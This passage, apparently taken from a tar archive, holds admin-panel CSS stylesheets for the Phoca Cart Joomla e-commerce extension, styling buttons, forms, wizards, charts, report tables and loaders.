	background: linear-gradient(to right, rgb(255,255,255,0.3),
rgb(255,255,255,0.5));
	height: 5px;
	width: 100%;
	padding:0;
	border-radius: 0 0 2px 2px;
	margin: 0.7em 0 0 0;
}


#ph-ajaxtop {
	display: none;
}


#ph-ajaxtop-message .ph-result-txt {
	margin-top:1em;
	color:#fff;
	font-weight: bold;
	font-size: 1.2em;
	display:block;
}

#ph-ajaxtop-message .ph-info-txt{

}
#ph-ajaxtop-message .ph-info-txt:before {
	font-family: "Glyphicons Halflings";
	content: "\e086";
	color: #3bafda;
	margin-right: 0.5em;
	font-weight: bold;
	position:absolute;
	font-size: 2em;
	left: 0.4em;
	/*margin-top: -0.3em;*/

}

#ph-ajaxtop-message .ph-success-txt {

}
#ph-ajaxtop-message .ph-success-txt:before {
	font-family: "Glyphicons Halflings";
	content: "\e086";
	color: #00b19d;
	margin-right: 0.5em;
	font-weight: bold;
	position:absolute;
	font-size: 2em;
	left: 0.4em;
	/*margin-top: -0.3em;*/
}
#ph-ajaxtop-message .ph-error-txt {
}

#ph-ajaxtop-message .ph-error-txt:before {
	font-family: "Glyphicons Halflings";
	content: "\e086";
	color: #f76397;
	margin-right: 0.5em;
	font-weight: bold;
	position:absolute;
	font-size: 2em;
	left: 0.4em;
	/*margin-top: -0.3em;*/
}

.ph-add-item {
	float: left;
	margin-top:5px;
}

.ph-remove-row {
	float: left;
	margin-top: 5px;
	margin-left: 10px;

}
.ph-add-row {
	padding-top: 10px;
}

.ph-u {
	text-decoration: underline;
}

#ph-sandbox-msg {
	display: none;
}


.ph-cb {
	clear: both;
}
.ph-pad-b {
	padding-bottom: 10px;
}

/* Stars */
span.ph-stars, span.ph-stars span {
    display: block;
    /*background: url(../../images/star-small.png) 0 -16px repeat-x;*/
	background: url(../../images/star-small.svg) 0 -16px repeat-x;
    width: 80px;
    height: 16px;
}
span.ph-stars span {
    background-position: 0 0;
}

.ph-notes-box {
	border: 1px solid #ddd;
	border-radius: 4px;
	padding: 10px;
}

.ph-items-image-box img {
	width: 80%;
	height: auto;
}
.ph-cart-info-box {

}
.ph-cart-info-box table {
	width: 50%;
}
.ph-cart-info-box .ph-hr {
	border-bottom: 1px solid #ccc;
}
.ph-cart-info-box .ph-cart-total {
	font-weight: bold;
}

.ph-last-cart-activity {
	margin-top: 20px;
}

.ph-control-group-text {
	margin-top:-15px;
	margin-bottom: -15px;
}
table.ph-order-products tr {
	margin-top:5px;
	margin-bottom: 5px;
}
.ph-order-products-hr {
	border-bottom: 1px solid #ddd;
}

td.ph-p-r-med {

padding-right: 40px !important;

}
.ph-total-center a,
.ph-total-center {
	text-align: center !important;

}

.ph-tax-edit,
.ph-order-status-edit {
	width: 100%;
}

.ph-tax-edit-header,
.ph-order-status-edit-header {
	font-weight: bold;
	border-bottom: 2px solid #ddd;
	padding-top: 5px;
	padding-bottom: 5px;
}
.ph-tax-edit-item,
.ph-order-status-edit-item {
	border-bottom: 1px solid #ddd;
	padding-top: 7px;
	padding-bottom: 7px;
}



.ph-tax-edit-button {
	margin: 5px;
}

.ph-tax-edit-button button span.icon-edit:before,
.ph-order-status-edit-button button span.icon-edit:before  {
	color: #fff;
}



table.ph-table-order-link,
table.ph-table-download-links {
	width: 100%;
	text-align:left;
}

table.ph-table-order-link tr th.title,
table.ph-table-download-links tr th.title {
	width: 10%;
}
table.ph-table-order-link tr th.link,
table.ph-table-download-links tr th.link {
	width: 90%;
}

.ph-col-add-suffix {
	font-size: xx-small;
	color: #555;
	text-align: center;
}
.ph-col-add-cur {
	font-size: xx-small;
	color: #555;
	text-align: right;
}

.ph-col-title-small {
    font-size: xx-small;
    color: #555;
    text-align: left;
}
.ph-inline-param {
	margin: auto 10px;
	float: left;
}

.ph-inline-param .field-calendar {
	display: inline;
}

/* Charts */
.ph-chart-canvas-holder {
	padding:5px;
}


.ph-chart-box-line {
	width: 92%;
}

.ph-chart-area-line {
	width:100%;
	height:auto;
}
.ph-chart-legend {
	text-align: center;
	margin: 0 auto;
	font-size: x-small;
	color: #555;
}
.ph-amount {
	background-color: #9ebecf;
	width: 2em;
	display: inline-block;
	-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
}
.ph-orders {
	background-color: #DCDCDC;
	width: 2em;
	display: inline-block;
	-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
}

.ph-btn-toolbar-2 {
	clear: right;
	padding-top: 10px;
}
.ph-select-status {
	padding-left: 5px;
}

.ph-table-td-left {
	padding-left: 5em;
	text-align:right;
}

.ph-admin-stat-row {

}
.ph-admin-stat-box h2 {
	margin: 0;
	padding: 0;
	margin-bottom: 7px;
}
.ph-admin-stat-box {
	text-align: left;
	padding: 7px;
}

.ph-stats-canvas {
	text-align: left;
}

.ph-float-right {
	float: right;
}
.ph-clear-right {
	clear:right;
}
.ph-float-icon {
	float: right;
}
.ph-float-icon-l {
	float: left;
}
.ph-float-default {
	float:right;
	margin-right: 30px;
}
.ph-float-default-header {
	float:right;
	margin-right: 45px;
}

.ph-icon-remove {
	color: #942A25;
	font-size: 130%;
}

.btn-xs {
	padding: 4px 7px 1px 5px !important;
}

.btn.btn-transparent {
	background: transparent !important;
	border: 1px solid transparent !important;
	box-shadow: none !important;
	padding: 3px !important;
}
.btn.btn-transparent:hover,
.btn.btn-transparent:focus,
.btn.btn-transparent:visited {
	background: transparent !important;
	border: 1px solid transparent !important;
	box-shadow: none !important;
}
.ph-icon-success {
	color: #378137;
	font-size: 130%;
}
.ph-icon-success-txt {
	color: #378137;
	font-size: 70%;
	margin-top: -7px;
	display: block;
}

.ph-icon-danger {
	color: #942A25;
	font-size: 130%;
}
.ph-icon-danger-txt {
	color: #942A25;
	font-size: 70%;
	margin-top: -7px;
	display: block;
}

.ph-icon-warning {
	color: #C67605;
	font-size: 130%;
}
.ph-icon-warning-txt {
	color: #C67605;
	font-size: 70%;
	margin-top: -7px;
	display: block;
}

.ph-stat-total {
	margin-top: 5px;
	border-top: 1px solid #fff;
	padding: 5px;
}



/* Full site overlay plus loader - used when reloading the page */
#phLoaderFull {
  margin: auto auto;
  top: 50%;
  font-size: 8px;
  position: relative;
  text-indent: -9999em;
  border-top: 1.1em solid #C1E2F1;
  border-right: 1.1em solid #C1E2F1;
  border-bottom: 1.1em solid #C1E2F1;
  border-left: 1.1em solid #45A7D4;
  -webkit-animation: load8 1.3s infinite linear;
  animation: load8 1.3s infinite linear;
}
#phLoaderFull,
#phLoaderFull:after {
  border-radius: 50%;
  width: 10em;
  height: 10em;
  margin-top: -10em;

}
@-webkit-keyframes load8 {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}
@keyframes load8 {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

#phOverlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: #fff;
    filter:alpha(opacity=70);
    -moz-opacity:0.7;
    -khtml-opacity: 0.7;
    opacity: 0.7;
    z-index: 10000;
	display:none;
}

.ph-br-small {
	font-size: 3px;
	height: 3px;
}
/*
.view-phocacartzones [class^="icon-"].ph-icon-earth::before,
.view-phocacartzones [class*=" icon-"].ph-icon-earth::before,
.view-phocacartzone [class^="icon-"].ph-icon-earth::before,
.view-phocacartzone [class*=" icon-"].ph-icon-earth::before,

.view-phocacartcountries [class^="icon-"].ph-icon-earth::before,
.view-phocacartcountries [class*="
icon-"].ph-icon-earth::before,
.view-phocacartcountry [class^="icon-"].ph-icon-earth::before,
.view-phocacartcountry [class*=" icon-"].ph-icon-earth::before,

.view-phocacartregions [class^="icon-"].ph-icon-earth::before,
.view-phocacartregions [class*=" icon-"].ph-icon-earth::before,
.view-phocacartregion [class^="icon-"].ph-icon-earth::before,
.view-phocacartregion [class*=" icon-"].ph-icon-earth::before,

.view-phocacartimports [class^="icon-"].ph-icon-import::before,
.view-phocacartimports [class*=" icon-"].ph-icon-import::before,
.view-phocacartexports [class^="icon-"].ph-icon-export::before,
.view-phocacartexports [class*="
icon-"].ph-icon-export::before,*/


#ph-icon-text.ph-icon-text::before,
#ph-icon-pdf.ph-icon-pdf::before,
#ph-icon-wizard.ph-icon-wizard::before {
    font-family: "Glyphicons Halflings";
	font-style: normal;
	color: #fff;
}

.admin.com_phocacart [class^="icon-"].icon-earth::before,
.admin.com_phocacart [class*=" icon-"].icon-earth::before,
.admin.com_phocacart [class^="icon-"].icon-import::before,
.admin.com_phocacart [class*=" icon-"].icon-import::before,
.admin.com_phocacart [class^="icon-"].icon-export::before,
.admin.com_phocacart [class*=" icon-"].icon-export::before {

	font-family: "Glyphicons Halflings";
    font-style: normal;
}

.admin.com_phocacart [class^="icon-"].icon-earth::before,
.admin.com_phocacart [class*=" icon-"].icon-earth::before {

	content:"\e135";
}

.admin.com_phocacart [class^="icon-"].icon-import::before,
.admin.com_phocacart [class*=" icon-"].icon-import::before {

}
.admin.com_phocacart [class^="icon-"].icon-export::before,
.admin.com_phocacart [class*=" icon-"].icon-export::before {

}

#toolbar #toolbar-wizard {
    float: right;
}


.import-export-box {
	background: #fff;
	padding: 10px;
	border-radius: 3px;
}

.import-export-desc {
	margin-bottom: 5px;
}

.import-export .import-export-row {
	margin-left: 10px;
}
.import-export .import-export-row-message {
	margin-left: 0px;
}

.circle-active,
.circle {
    border-radius: 50%;
    width: 42px;
    height: 42px;
    padding: px;
    background: transparent;
    border: 4px solid #ccc;
    color: #ccc;
    text-align: center;
    font: 32px Arial, sans-serif;
    display: inline-block;
	font-weight: bold;
	float: right;
}
.circle-active {
	border: 4px solid #5FBA7D;
    color: #5FBA7D;
}


/*
.ph-option-box input{
	border: 1px solid #fff !important;
}
*/
/*
table tr td,
tr td,
td,
.span1, .span2,
.col-xs-12 {
	border: 1px solid red !important;
}
*/
.ph-vertical-align {
	align-items: center;
	justify-content: center;
	display: flex;
	width: 100%;
}
.ph-vertical-align-single {
	margin-top: 5%;
}


#phAdminView .modal-body {
	padding: 10px;
}
/*
#phWizardStatusModal .modal-header,
#phWizardStatusModal .modal-footer,*/
#phWizardStatusModal .modal-body {
	background: url('../../images/administrator/bg-wizard.jpg')
no-repeat top center fixed;
	-webkit-background-size: cover;
	-moz-background-size: cover;
	-o-background-size: cover;
	background-size: cover;
}
.ph-body-iframe-wizard {
	background: transparent;
}

.ph-body-iframe-wizard div .ph-modal-content-header {
	color: #fff;
	text-align: center;
	font-size: 30px;
	text-shadow: 1px 1px 4px rgba(0, 0, 0, 1);
}

/*
#phWizardStatusModal .modal-body{overflow: hidden !important;}
#phEditStatusModal .modal-body{overflow: hidden !important;}
#phViewCartModal .modal-body{overflow: hidden !important;}
.ph-body-iframe-wizard { height: auto;}*/

.ph-wizard-start-page-box {
	background: rgba(0, 0, 0, 0.5);
	color: #fff;
	border-radius: 5px;
	padding: 10px;
}
.ph-wizard-start-page-window {
	padding-top: 5px;
}
.ph-wizard-start-page-window.firstpage {
	color: #fff;
}
.ph-wizard-start-page-window.nextpage {
	color: #000;
}
.ph-wizard-start-page-window.nextpage a,
.ph-wizard-start-page-window.nextpage a:hover,
.ph-wizard-start-page-window.nextpage a:focus,
.ph-wizard-start-page-window.nextpage a:visited {
	color: #000;
	text-decoration: underline;
}

.ph-wizard-start-page-window a,
.ph-wizard-start-page-window a:hover,
.ph-wizard-start-page-window a:focus,
.ph-wizard-start-page-window a:visited {
	color: #fff;
	text-decoration: underline;
}

.ph-wizard-start-page-window a.btn,
.ph-wizard-start-page-window a.btn:hover,
.ph-wizard-start-page-window a.btn:focus,
.ph-wizard-start-page-window a.btn:visited {
	text-decoration: none;
	width: 13em;
	color: #fff;
}

.ph-wizard-top-text {
	margin-top: 15px;
	margin-bottom: 15px;
}

.ph-wizard-center-button {
	margin: auto;
	text-align: center;
	margin: 10px auto;
}

.ph-wizard-center-button .ph-btn {
	background: rgba(0,0,0, 0.4) !important;
	border: 2px solid #fff !important;
}

.ph-wizard-center-button .ph-btn:hover,
.ph-wizard-center-button .ph-btn:focus,
.ph-wizard-center-button .ph-btn:visited {
	background: rgba(0,0,0, 1) !important;
	border: 2px solid #fff !important;
}

.ph-wizard-row div{
	padding: 5px 5px;
}
.ph-wizard-row {
	border-bottom: 1px solid #f7f7f7;
}

.ph-true {
	color: #449C44;
	font-weight: bold;
}
.ph-false {
	color: #E1302D;
	font-weight: bold;
}

#phResultWizardAll {

	background: #DFF0D8;
	color: #449c44;
	margin-bottom: 10px;
	font-weight: bold;
	border-left: 5px solid #449c44;

}
#phResultWizardAll div {
	margin: 10px;
}

.ph-modal-header {
	margin: 20px 5px 5px 0px;
}

.ph-header-table {
	border-bottom: 3px solid #f7f7f7;
}
.ph-body-table,
.ph-footer-table {
	border-bottom: 1px solid #f7f7f7;
}

.ph-edit-price-history-box,
.ph-edit-stock-advanced-box {
	padding: 10px;
}

.ph-item-input-set-attributes .ph-checkbox {
	padding-top: 0px;
	padding-top: 0px;
	margin-top: -5px;
	margin-bottom: -5px;
}

.ph-icon-white::before {
	color: #fff !important;
}

.ph-attribute-option-item {
    border: 1px solid #3BAFDA;
    color: #fff;
    background: #3BAFDA;
	padding: 3px;
	border-radius: 3px;
	font-weight: bold;
}

.ph-attribute-option-box tr td input {
	margin: 3px;
}

.ph-attribute-option-box,
.ph-attribute-option-box tr td,
.ph-attribute-option-box tr th {
	padding: 5px;
}


#phAdminView .approved {
	opacity: 1;
}
#phAdminView .not-approved {
	opacity: 0.5;
}


.ph-pull-left {
	float: left;
}
.ph-pull-right {
	float: right;
}

.ph-important-text {
	color: #a94442;
	font-weight: bold;
}

.ph-cpanel-logo img {
	width: 70%;
    height: auto;
}

.ph-order-info-box .label {
	margin: 1px;
}

.ph-no-wrap {
	white-space: nowrap;
}

table.ph-report-table {
	padding: 3px;
	border: 1px solid #f0f0f0;
	width: 100%;
}

table.ph-report-table,
table.ph-report-table tr,
table.ph-report-table tr td {
	padding: 3px;
	border: 1px solid #f0f0f0;
}

table.ph-report-table tr th {
	padding: 5px;
	color: #129ED9;
	border: 1px solid #f0f0f0;
	border-bottom: 3px solid #129ED9;

}

table.ph-report-table tr td {
	padding: 0.2em 1em;
}

.ph-report-brutto,
.ph-report-tax,
.ph-report-netto,
.ph-report-rounding {
	text-align: right;
}
.ph-report-currency {
	text-align: center;
}

table.ph-report-table tr#phReportTotalRow0{
	border-top: 3px solid #f0f0f0;
}
table.ph-report-table tr.ph-report-total-row td {
	background: #ffffbf;
	vertical-align: top;
	text-align: right;
	padding: 0.2em 1em;
	font-weight: bold;
}
table.ph-report-table tr.ph-report-total-row td.ph-report-total-col1 {
	text-align: left;
	padding: 0.2em 1em;
	font-weight: bold;
	vertical-align: middle;
}


/*
.ph-product-attribute-download-title {
	text-align: right;
}

.ph-product-attribute-new-row {
	margin-top: 3px;
}*/





/* Tooltip container */
.ph-tooltip {
  position: relative;
  display: inline-block;
}

/* Tooltip text */
.ph-tooltip .ph-tooltiptext {
  visibility: hidden;
  width: 14em;
  background-color: #fff;
  border: 1px solid #f0f0f0;
  box-shadow: 0 0 5px 5px rgba(0,0,0,0.1);
  color: #000;
  text-align: center;
  padding: 0.2em;

  position: absolute;
  z-index: 1;

  bottom: 100%;
  left: 50%;
  /*margin-left: -7em; /* Use half of the width (120/2 = 60), to center the
tooltip */
  margin-left: -2em;
}

/* Show the tooltip text when you mouse over the tooltip container */
.ph-tooltip:hover .ph-tooltiptext {
  visibility: visible;
}

#phAdminEdit .form-horizontal .tab-content {

	position: relative;
}
.ph-admin-additional-box {

	position: absolute;
	top: 0.3em;
	right: 0.3em;
	padding: 1em;
	background: #f0f0f0;
	/*z-index: 1;*/
}
.ph-admin-additional-box-img-box {
	text-align: center;
}

.ph-admin-additional-box img {
	margin: 0 auto;
}

.ph-warning-modal-window {
	margin-right: 2em;
	background: #ff8000;
	color: #fff;
	padding: 0.3em;
}

.ph-edit-stock-advanced-box .form-horizontal .controls {
	margin-left:0;
}

.ph-edit-stock-advanced-box .control-label {
	display:none;
}

#phEditStockAdvancedBox input.input-mini {
    width: 4em;
}

#phEditStockAdvancedBox .inputbox.imageCreateThumbs {
    width: 8em;
}
#phEditStockAdvancedBox th small {
	display:none;
}


#phEditStockAdvancedBox table tr th:first-child,
#phEditStockAdvancedBox table tr td:first-child,
#phEditStockAdvancedBox table tr th:nth-child(2),
#phEditStockAdvancedBox table tr td:nth-child(2),
#phEditStockAdvancedBox table tr th:nth-child(3),
#phEditStockAdvancedBox table tr td:nth-child(3),
#phEditStockAdvancedBox table tr th:last-child,
#phEditStockAdvancedBox table tr td:last-child {
    display:none;
}





#phocacarttools .ph-admin-box-content {
	background-color: #fff;
}
.phAjaxOutputBox {
	height: 45vh;
	width: 100%;
	border: 1px solid #ddd;
	overflow-x: auto;
	
}

.phAjaxOutputBox .alert {
	margin-bottom: 2px;
}

.ph-bulk-price-title {
	font-weight: bold;
}

.ph-bulk-price-arrow {
	background-color: #ff8000;
	font-weight: bold;
	color: #fff;
	padding-left: 1em;
	padding-right: 1em;
}
administrator/phocacartcustom.css000064400000037004151170511340013337
0ustar00/*
 * Custom CSS
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU General Public License
version 2 or later;
 */
 
.j-sidebar-container {
	border-radius: 0px;
	border: 0px;
	background: #fff;
	margin: -11px 0 0 -1px;
}



.subhead {
    border-bottom: 0px;
}

.btn-wrapper .btn-small {
	padding: 6px 10px;
}

.js-stools .js-stools-container-bar .btn-wrapper {
	margin: 0 3px;
	padding: 3px 0px;
}

.js-stools .js-stools .btn {
	border: 1px solid #dfe8f1 !important;
	border: 1px solid transparent !important;
	background: #fff !important;
	box-shadow: none !important;
	text-shadow: none !important;
	font-weight: bold !important;

}

#j-main-container .js-stools .btn {
	border: 2px solid #dfe8f1 !important;
	/*background-color: #dfe8f1 !important;*/
}

.js-stools .btn.btn-primary {
	color: #fff !important;
	background-color: #3BAFDA !important;
	
	box-shadow: none !important;
	text-shadow: none !important;
}

.js-stools .btn.btn-danger {
	color: #fff !important;
	background-color: #F23855 !important;
	
	box-shadow: none !important;
	text-shadow: none !important;
}

.btn {
	border: 2px solid #dfe8f1 !important;
	background: #fff !important;
	box-shadow: none  !important;
	text-shadow: none  !important;
	border-radius: 3px !important;
}

.btn-toolbar .btn-wrapper .btn {
	border: 1px solid #3071a9 !important;
	border-radius: 2px !important;
}



.btn:hover, .btn:focus,
.btn:visited, .btn:active {
/*	background: #fff !important;
	box-shadow: none !important;*/
}




.btn-toolbar .btn-success,
.btn-toolbar .btn-wrapper .btn-success,
.btn-success {
    background-color: #28AB8E !important;
    background-image: none !important;
    background-repeat: none !important;
    border-color: #28AB8E !important;
    border: 0px solid #28AB8E  !important;
    color: #fff !important;
	box-shadow: none !important;
}

.btn-success:hover, .btn-success:focus {
	 background-color: #28AB8E !important;
	 border-color: #28AB8E !important;
	 border: 0px solid #28AB8E  !important;
}

.btn-toolbar .btn-success {
    border: 0px solid #28AB8E  !important;
}

.btn-toolbar .btn-success:hover,
.btn-toolbar .btn-success:focus {
	 border: 0px solid #28AB8E  !important;
}

.btn-toolbar .button-new.btn-success,
.btn-toolbar .btn-wrapper .button-new.btn-success,
.button-new.btn-success {
    background-color: #3071a9 !important;
    background-image: none !important;
    background-repeat: none !important;
    border-color: #3071a9 !important;
    border: 0px solid #3071a9  !important;
    color: #fff !important;
	box-shadow: none !important;
}

.button-new.btn-success:hover, .button-new.btn-success:focus {
	 background-color: #3071a9 !important;
	 border-color: #3071a9 !important;
	 border: 0px solid #3071a9  !important;
}

.btn-toolbar .button-new.btn-success {
    border: 0px solid #3071a9  !important;
}

.btn-toolbar .button-new.btn-success:hover,
.btn-toolbar .button-new.btn-success:focus {
	 border: 0px solid #3071a9  !important;
}



/*
.alert-warning {
	background-color: #FCF8E3  !important;
	border-left: 5px solid #8A6D3B  !important;
}*/

.btn-toolbar .btn-warning,
.btn-toolbar .btn-wrapper .btn-warning,
.btn-warning {
	background-image: none !important;
    background-repeat: none !important;
    color: #fff !important;
	box-shadow: none !important;
	background-color: #FF9326 !important;
	border-color: #FF9326 !important;
	border: 0px !important;
}

.btn-warning:hover, .btn-warning:focus {
	 background-color: #FF9326 !important;
	 border-color: #FF9326 !important;
	 border: 0px solid #FF9326 !important;
}

.btn-large.btn-primary,
.btn-primary {
	background-image: none !important;
    background-repeat: none !important;
    color: #fff !important;
	box-shadow: none !important;
	background-color: #3BAFDA !important;
	border-color: #3BAFDA !important;
	border: 0px !important;
}

.btn-large.btn-primary:hover, .btn-large.btn-primary:focus,
.btn-primary:hover, .btn-primary:focus {
	 background-color: #3BAFDA !important;
	 border-color: #3BAFDA !important;
	 /* border: 0px !important; */
}

.btn-toolbar .btn-wrapper .btn.btn-primary {
	border: 1px solid #3BAFDA !important;
}

.btn-toolbar .btn-buy,
.btn-buy {
	background-image: none !important;
    background-repeat: none !important;
    color: #555 !important;
	box-shadow: none !important;
	background-color: #F9E151 !important;
	border-color: #F9E151 !important;
	border: 0px !important;
	
}

.btn-buy:hover, .btn-buy:focus {
	 background-color: #F9E151 !important;
	 border-color: #F9E151 !important;
	 border: 0px solid #F9E151 !important;
}

.btn-large.btn-primary {
	font-weight: bold;
	text-shadow: none;
}



.btn-danger {
	background-image: none !important;
    background-repeat: none !important;
    color: #fff !important;
	box-shadow: none !important;
	background-color: #F23855 !important;
	border-color: #F23855 !important;
	/*border: 0px !important;*/
	border: 0px !important;
}

.btn-danger:hover, .btn-danger:focus {
	 background-color: #F23855 !important;
	 border-color: #F23855 !important;
	 /*border: 1px solid #F23855 !important;*/
	 border: 0px !important;
}

.btn-toolbar .btn-wrapper .btn.btn-danger {
	border: 1px solid #F23855 !important;
}

/*
.controls .btn-group.btn-group-yesno > .btn.btn-danger {
	border: 2px solid #F23855 !important;
}
.controls .btn-group.btn-group-yesno > .btn.btn-success {
	border: 2px solid #3071a9 !important;
}
.controls .btn-group.btn-group-yesno > .btn.btn-primary {
	border: 2px solid #3BAFDA !important;
}*/

.controls .btn-group.btn-group-yesno > .btn.active.btn-success,
.controls .btn-group.btn-group.radio > .btn.active.btn-success {
	background: #28AB8E !important;
}

.controls .btn-group.btn-group-yesno > .btn.active.btn-danger,
.controls .btn-group.btn-group.radio > .btn.active.btn-danger {
	border: 2px solid #F23855 !important;
}
.controls .btn-group.btn-group-yesno > .btn.active.btn-success,
.controls .btn-group.btn-group.radio > .btn.active.btn-success {
	border: 2px solid #28AB8E !important;
}
.controls .btn-group.btn-group-yesno > .btn.active.btn-primary,
.controls .btn-group.btn-group.radio > .btn.active.btn-primary {
	border: 2px solid #3BAFDA !important;
}

.controls .btn-group > .btn {
	border-radius: 3px 0px 0px 3px !important;
}

.controls .btn-group > .btn:first-child {
	border-radius: 3px 0px 0px 3px !important;
	
}

.controls .btn-group > .btn:nth-child(4) {
	border-radius: 0px !important;
}
.controls .btn-group > .btn:last-child {
	border-radius: 0px 3px 3px 0px !important;
}



#adminForm .btn-micro, #adminForm .btn-micro.hasTooltip {
	background: #fff !important;
    color: #333  !important;
	border: 2px solid #dfe8f1 !important;
	box-shadow: 0px 0px 0px 0px transparent !important;
	box-shadow: inset 0px 0px 0px 0px transparent !important;
}

#adminForm .btn-micro.active, #adminForm .btn-micro:active {
    background: #fff !important;
    color: #333 !important;
	border: 2px solid #dfe8f1 !important;
	box-shadow: 0px 0px 0px 0px transparent !important;
	box-shadow: inset 0px 0px 0px 0px transparent !important;
}
.btn-micro:hover, .btn-micro:focus, .btn-micro:active, .btn-micro.active,
.btn-micro.disabled, .btn-micro[disabled] {
    background: #fff !important;
    color: #333;
	border: 2px solid #dfe8f1 !important;
	box-shadow: 0px 0px 0px 0px transparent !important;
	box-shadow: inset 0px 0px 0px 0px transparent !important;
}




.btn-inverse {
    background-color: #363636  !important;
	color: #fff  !important;
	border: 0px  !important;
}

.header {
    background-color: #3071A9;
}

textarea, input[type="text"], input[type="password"],
input[type="datetime"], input[type="datetime-local"],
input[type="date"], input[type="month"],
input[type="time"], input[type="week"],
input[type="number"], input[type="email"],
input[type="url"], input[type="search"],
input[type="tel"], input[type="color"],
.uneditable-input {

 /*   background-color: #fff  !important; not because of color picker
background color */
    border: 2px solid #dfe8f1 !important;
    box-shadow: none  !important;
    transition: border 0.2s linear 0s, box-shadow 0.2s linear 0s
!important;
	/*height: 30px !important;*/
}

input[name="filter_search"],
input[id="filter_search"] {
 min-height: 30px !important;
}
input[name="filter_date_to"],
input[name="filter_date_from"] {
 min-height: 30px !important;
}

.controls .chzn-container-single .chzn-single,
#phAdminEdit .chzn-container-single .chzn-single {
    border: 2px solid #dfe8f1 !important;
    box-shadow: none  !important;
    color: #444 !important;
    min-height: 30px !important;
    line-height: 30px !important;
    background: #fff !important;
    box-shadow: none !important;
    border-radius: 3px !important;
    text-shadow: none !important;
}

#phAdminEdit .select2-search-choice,
#phAdminEdit .search-choice {
	border: 1px solid #3BAFDA  !important;
    box-shadow: none  !important;
    color: #fff !important;
    box-shadow: 0px 0px 0px 0px transparent !important;
	box-shadow: inset 0px 0px 0px 0px transparent !important;
	background-image:none;
	text-shadow: none !important;
	background: #3BAFDA;
}
#phAdminEdit .select2-search-choice-close,
#phAdminEdit .chzn-container-multi .chzn-choices li.search-choice
.search-choice-close {
 
    background: url(../../js/chosen/chosen-sprite-white.png) -42px 1px
no-repeat !important;

}

#phAdminEdit .select2-container-multi .select2-choices
.select2-search-field input  {
	
	border: 0px !important;
}
#phAdminEdit .select2-search-choice-close {
	height: 12px !important;
}


.controls .chzn-container-single .chzn-single div b,
#phAdminView .chzn-container-single .chzn-single div b,
#phAdminEdit .chzn-container-single .chzn-single div b  {
	margin-top: 4px !important;
	box-shadow: none;
}


.controls .chzn-container .chzn-drop,
#phAdminView .chzn-container .chzn-drop,
#phAdminEdit .chzn-container .chzn-drop {
	top: 29px !important;
	border-color: #dfe8f1;
	box-shadow: none;
}

.chzn-container-multi .chzn-choices li.search-field
input[type="text"] {
	margin: 0px !important;
}

.loginform .chzn-container-single .chzn-single {
    border: 1px solid #cccccc  !important;
}

.loginform  input[type="text"], .loginform 
input[type="password"] {
    background-color: #fff;
    border: 1px solid #ccc;
    box-shadow: none;
    transition: border 0.2s linear 0s, box-shadow 0.2s linear 0s;
}


#phEditPopup .chzn-container-single .chzn-single,
.js-stools .chzn-container-single .chzn-single {
   /* background: rgba(0, 0, 0, 0) -moz-linear-gradient(center top ,
#ffffff 20%, #f6f6f6 50%, #eeeeee 52%, #f4f4f4 100%) repeat scroll 0 0
padding-box;*/
   border: 2px solid #dfe8f1;
   background: #dfe8f1;
   /*box-shadow: 0 0 3px white inset, 0 1px 1px rgba(0, 0, 0, 0.1);*/
   box-shadow: none;
   color: #444;
   height: 35px;
   line-height: 24px; 
  
   padding: 3px 0 5px 8px;
   box-shadow: none;
   border-radius: 3px;
   text-shadow: none;
   
 /* border: 1px solid #ccc;
   box-shadow: 0 0 3px #fff inset, 0 1px 1px rgba(0, 0, 0, 0.1)
!important;*/

   box-shadow: 0 1px 1px 0 rgba(0,0,0,.15);
}


#phEditPopup .chzn-container-single .chzn-single {

	margin-bottom: 3px;
}

.chzn-container-active.chzn-with-drop .chzn-single {
	border-color: #dfe8f1 !important;
	border: 2px solid #dfe8f1 !important;
	box-shadow: none !important;
	background: #fff !important;
}
.btn-toolbar .chzn-container .chzn-drop {
	top: 34px !important;
	border-color: #dfe8f1;
	border: 2px solid #dfe8f1 !important;
	box-shadow: none;
}

#phAdminEdit .chzn-container .chzn-choices,
#phAdminEdit .chzn-container-active .chzn-choices {
    border-color: #dfe8f1;
	border: 2px solid #dfe8f1 !important;
    box-shadow: 0px 0px 0px 0px transparent !important;
	box-shadow: inset 0px 0px 0px 0px transparent !important;
	background-image: none !important;
}

.filter-search .btn-group .btn {
	background: #f2f2f2;
}

table.table-striped tr th {
	color: #3071a9;;
}

table.table-striped {
	margin-top: 5px;
	margin-left: 0px;
	margin-right: 0px;
}

table.table-striped tr th {
	color: #3071a9;
	border-bottom: 3px solid #e8e8e8;
}

table.table-striped tr th, table.table-striped tr th a {
	color: #3071a9;
}

#status {
    background: #ebebeb;
    border-top: 0px;
    box-shadow: none;
}

.select2-container .select2-choice {
    border: 2px solid #dfe8f1;
	background-color: #fff;
	background-image:none;
}

.select2-container .select2-choice .select2-arrow {
   border-left: 1px solid #f2f2f2;
   background-image: none;
   background: #fff;
}

.input-append .add-on, .input-prepend .add-on {
	border: 2px solid #dfe8f1;
}

.ph-options-head-expert,
.ph-options-head {
	border: 0px;
	border-radius: 3px;
}

.chzn-container-multi .chzn-choices {
    border: 2px solid #dfe8f1;
	background-image: none;
}

.chzn-container .chzn-drop {
    border-color: #dfe8f1;
}

.chzn-container-active.chzn-with-drop .chzn-single {
    background-image: none;
    border: 2px solid #dfe8f1;
}

.control-group .control-label {
	width: 20em;
}

.well {
    background-color: #f5f5f5;
    border: 0;
    border-radius: 4px;
    box-shadow: none;
    margin-bottom: 20px;
    min-height: 20px;
    padding: 19px;
}

.ph-option-box input{
	border: 1px solid #fff !important;
}

.ph-param-label {
	
}
.ph-param-desc {
	
}
.ph-option-param {
	width: 20%;
}
.ph-option-value {
	width: 80%;
}

/*
.nav-tabs > li > a, .nav-pills > li > a {
    padding-right: 8px !important;
    padding-left: 8px !important;
    margin-right: 2px;
    line-height: 14px;
}*/


/* Hide boxes in CP */

/*
.items-item-box,
.categories-item-box,
.specifications-item-box,
.manufacturers-item-box,/*
.orders-item-box,
.statuses-item-box,
.stockstatuses-item-box,
.shippings-item-box,
.countries-item-box,
